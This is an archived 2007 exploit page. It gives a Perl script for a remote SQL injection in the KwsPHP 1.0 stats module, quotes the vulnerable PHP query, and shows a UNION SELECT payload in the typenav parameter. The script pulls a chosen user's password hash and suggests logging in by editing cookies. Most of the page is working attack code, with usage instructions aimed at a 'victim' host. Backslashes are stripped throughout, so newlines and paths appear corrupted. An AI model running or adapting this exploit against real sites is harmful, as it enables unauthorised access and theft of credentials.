[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : KwsPHP 1.0 stats Module Remote SQL Injection Exploit
# Published : 2007-09-15
# Author : s4mi
# Previous Title : KwsPHP 1.0 Member_Space Module SQL Injection Exploit
# Next Title : Joomla Component Flash Fun! 1.0 Remote File Inclusion Vulnerability


###################################################
#  Script..........................: KwsPHP  ver 1.0 stats Module
#  Script Site..................: http://kws.koogar.org/
#  Vulnerability...............: Remote SQL injection Exploit
#  Access.........................: Remote
#  level.............................: Dangerous
#  Author..........................: S4mi
#  Contact.........................: S4mi[at]LinuxMail.org
####################################################
#Special Greetz to : Simo64, DrackaNz, Coder212, Iss4m, HarDose, E.chark, r0_0t, ddx39 
#
####################################################
# This Exploit Work Only When magic_quotes_gpc Is OFF
#
#Usage  :       C:Xploit.pl  127.0.0.1  /KswPHP/ admin
#Result Screen Shot :
#+**********************+
# Connecting ...[OK]
# Sending Data ...[OK]
#
#  + Exploit succeed! Getting admin information.
# + ---------------- +
# + Username: admin
# + Password: e10adc3949ba59abbe56e057f20f883e
###################################################
#vuln code : modulesstatsindex.php  line ~ 700 - 720
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#	[code]
# 	elseif(isset($aff) && ($aff=="browser"))
#	{
#	if(isset($typenav))
#	{
#		bloc_head("Statistiques des navigateurs ".$liste_navigateurs[$typenav]);
#		
#		$tot_nav=0;
#		
#		$requete=reqmysql("SELECT SUM(hit) as tot FROM `stats` where type='nav' and valeur like '$typenav**%' ORDER BY `type` ASC ");
#		
#		while ($ligne = mysql_fetch_object($requete))
#		{
#			$tot_nav = $ligne->tot;
#		}
#		$requete=reqmysql("SELECT * FROM `stats` where type='nav' and valeur like '$typenav**%' ORDER BY `hit` DESC");
#	[/code]
#########################################################
#!/usr/bin/perl

use IO::Socket ;

&header();

&usage unless(defined($ARGV[0] && $ARGV[1] && $ARGV[2]));

$host = $ARGV[0];
$path = $ARGV[1];
$user = $ARGV[2];


syswrite STDOUT ,"n Connecting ...";

my $sock = new IO::Socket::INET ( PeerAddr => "$host",PeerPort => "80",Proto => "tcp",);
								
die "n Unable to connect to $hostn" unless($sock);

syswrite STDOUT, "[OK]";

$inject = "9999'/**/UNION/**/SELECT/**/0,0,pass,pseudo/**/FROM/**/users/**/WHERE/**/pseudo='$user'/*";	

syswrite STDOUT ,"n Sending Data ...";

print $sock "POST $path/index.php?mod=stats&aff=browser&typenav=$inject HTTP/1.1n";
print $sock "Host: $hostn";
print $sock "Referer: $hostn";
print $sock "Accept-Language: en-usn";
print $sock "Content-Type: application/x-www-form-urlencodedn";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4n";
print $sock "Cache-Control: no-cachen";
print $sock "Connection: Closenn";

syswrite STDOUT ,"[OK]nn";

while($answer = <$sock>){

if ($answer =~ /nav_(.*?).png/){
print "+ Exploit succeed! Getting admin information.n";
print "+ ---------------- +n";
print "+ Username: $usern";
print "+ Password: $1n";
print "+ ----Have Fun---- +n";
print "+ You don't need to crack the hash password :Dn";
print "+ Just login with ur owen information and edit the cookiesn";
}
}


sub usage{
	print "nUsage   : perl $0 host /path/ UserName ";
	print "nExemple : perl $0 www.victim.com /KwsPHP/ adminn";
	exit(0);
}
sub header(){
print q(
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#  Script......................: KwsPHP  ver 1.0 stats Module
#  Script Site.................: http://kws.koogar.org/
#  Vulnerability...............: Remote SQL injection Exploit
#  Access......................: Remote
#  level.......................: Dangerous
#  Author......................: S4mi
#  Contact.....................: S4mi[at]LinuxMail.org
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
);
}

# www.Syue.com [2007-09-15]